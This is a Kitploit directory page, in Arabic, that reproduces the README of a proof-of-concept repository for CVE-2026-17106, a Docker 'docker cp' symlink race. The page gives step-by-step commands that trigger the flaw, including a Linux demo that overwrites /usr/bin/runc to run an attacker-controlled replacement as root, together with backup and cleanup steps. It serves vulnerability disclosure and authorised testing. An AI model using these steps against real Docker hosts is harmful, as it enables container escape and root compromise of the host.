Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CopyEscape-CVE-2026-17106 — مستودع PoC لمنشور المدونة CopyEscape: السيطرة على مضيفي Docker باستخدام docker cp | Kitploit
أدوات/GitHubGitHub/masasron/copyescape-cve-2026-17106
أمن الحاوياتتحليل الثغرات الأمنيةالاستغلالالفريق الأحمرالهروب من الحاويةالهجوم العدائي
GitHubmasasron/copyescape-cve-2026-17106

CopyEscape-CVE-2026-17106

مستودع PoC لمنشور المدونة CopyEscape: السيطرة على مضيفي Docker باستخدام docker cp

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودعالموقع الإلكتروني
248منذ شهر واحدلم تتم المراجعة بعد

CopyEscape: السيطرة على مضيفات Docker باستخدام docker cp (CVE-2026-17106)

هذا هو مستودع إثبات المفهوم لمنشور المدونة CopyEscape: السيطرة على مضيفات Docker باستخدام docker cp — CVE-2026-17106.

يسمح CopyEscape لحاوية خبيثة قيد التشغيل بمنافسة منتج الأرشيف في Docker وإنشاء تدفق tar غير متسق. يمكن لواجهة Docker CLI المعرضة للخطر بعد ذلك اتباع رابط رمزي مزروع أثناء الاستخراج والكتابة خارج الوجهة المحلية التي حددها المستخدم الذي يشغّل docker cp.

يحتوي المستودع على عرضين توضيحيين:

  • يحتوي macos/ على عرض توضيحي غير مدمر لـ Docker Desktop ينشئ ~/pwnd على مضيف macOS.
  • يحتوي linux/ على العرض التوضيحي الأصلي عالي التأثير لنظام Linux الذي يكتب فوق /usr/bin/runc وينشئ /imperva_red_team عند تنفيذ بيئة التشغيل المستبدلة.

[!WARNING] شغّل هذه الـ PoCs على أنظمة تملكها أو حصلت على إذن صريح لاختبارها فقط. يكتب Linux PoC عمدًا فوق /usr/bin/runc؛ استخدم جهازًا افتراضيًا مؤقتًا وأنشئ نسخة احتياطية تم التحقق منها قبل تشغيله.

المتطلبات

  • إصدار معرض للخطر من Docker Engine أو Docker Desktop.
  • برنامج Docker daemon قيد التشغيل.
  • واجهة أوامر (shell) مع إمكانية الوصول إلى Docker CLI.
  • صلاحيات الجذر للعرض التوضيحي الخاص بـ /usr/bin/runc على Linux.

تم تطوير الـ PoCs واختبارها ضد Docker Engine/CLI 29.6.1 وDocker Desktop 4.81.0. يجب أن ترفض الإصدارات المصلحة الأرشيف الخبيث أو تكمل النسخ دون الكتابة خارج الوجهة المحددة.

PoC لنظام macOS: إنشاء ~/pwnd

يستهدف هذا العرض التوضيحي الدليل الرئيسي للمستخدم الذي يشغّل Docker CLI. يرفض المتابعة إذا كان ~/pwnd أو الوجهة المحلية file.txt موجودًا بالفعل.

شغّل:

root@kitploit:~
cd macos
./demo-macos.sh

يبني السكربت الصورة، ويشغّل الحاوية المُجهزة، ويتأكد من أن /watched/file.txt يبدو كملف عادي بداخلها، ثم يطلق:

root@kitploit:~
docker cp <demo-container>:/watched/file.txt ./file.txt

في إصدار معرض للخطر من Docker Desktop، ينشئ النسخ:

root@kitploit:~
~/pwnd

بالمحتوى التالي:

root@kitploit:~
COPYESCAPE_MACOS_DEMO

التنظيف:

root@kitploit:~
rm -- ~/pwnd
rm -rf -- ./file.txt
docker image rm copyescape-macos-demo:local

PoC لنظام Linux: الكتابة فوق /usr/bin/runc

[!CAUTION] يجعل هذا العرض التوضيحي بيئة تشغيل مضيف Docker غير صالحة للاستخدام مؤقتًا وينفّذ بديلًا يتحكم فيه المهاجم بصلاحيات الجذر. استخدم جهازًا افتراضيًا مؤقتًا. بعد اكتمال docker cp، استعد runc قبل تشغيل أي أمر Docker آخر.

افتح جلسة shell بصلاحيات الجذر وادخل إلى دليل Linux PoC:

root@kitploit:~
sudo -s
cd linux

أنشئ نسخة احتياطية وتحقق منها قبل بدء الاختبار:

root@kitploit:~
test ! -e /root/runc.copyescape-backup
cp --preserve=all -- /usr/bin/runc /root/runc.copyescape-backup
cmp -s /usr/bin/runc /root/runc.copyescape-backup
sha256sum /usr/bin/runc /root/runc.copyescape-backup

ابنِ الصورة:

root@kitploit:~
docker build -t copyescape-linux .

شغّل الحاوية المُجهزة في الطرفية الأولى:

root@kitploit:~
docker run --name copyescape-linux copyescape-linux

في طرفية جذر ثانية، تحقق من أن المسار المُجهز يبدو كملف عادي لأي عملية داخل الحاوية:

root@kitploit:~
docker exec copyescape-linux cat /watched/file.txt

المخرجات المتوقعة:

root@kitploit:~
top-level file

أطلق الثغرة:

root@kitploit:~
docker cp copyescape-linux:/watched/file.txt ./file.txt

في إصدار معرض للخطر من Docker، أصبح /usr/bin/runc الآن يحتوي على سكربت الصدفة الخاص بـ PoC. وينشئ تنفيذ بيئة التشغيل المستبدلة علامة مملوكة للجذر:

root@kitploit:~
sed -n '1,3p' /usr/bin/runc
ls -l /imperva_red_team

استعد بيئة التشغيل الأصلية فورًا، قبل إصدار أي أمر Docker آخر:

root@kitploit:~
cp --preserve=all -- /root/runc.copyescape-backup /usr/bin/.runc.copyescape-restore
sync /usr/bin/.runc.copyescape-restore
mv -f -- /usr/bin/.runc.copyescape-restore /usr/bin/runc
cmp -s /usr/bin/runc /root/runc.copyescape-backup
/usr/bin/runc --version

بعد استعادة runc والتحقق منه، أزل بقايا الاختبار المتبقية:

root@kitploit:~
docker rm -f copyescape-linux 2>/dev/null || true
docker image rm copyescape-linux
rm -rf -- ./file.txt
rm -f -- /imperva_red_team

كيف تعمل العروض التوضيحية

يكشف كلا الـ PoCs عن /watched/file.txt كملف عادي للعمليات التي تعمل داخل الحاوية، بينما يرى Docker daemon دليلًا. أثناء اجتياز Docker لنظام الملفات، يستبدل المراقب دليلًا برابط رمزي مطلق مُجهز. يحتوي تدفق tar الناتج على الرابط الرمزي متبوعًا بمدخل فرعي تحته. تنشئ واجهة Docker CLI المعرضة للخطر الرابط الرمزي ثم تستخرج المدخل الفرعي عبره إلى نظام ملفات العميل.

تحمل عملية الكتابة النهائية صلاحيات العملية التي تشغّل docker cp.

تنزيل الأداة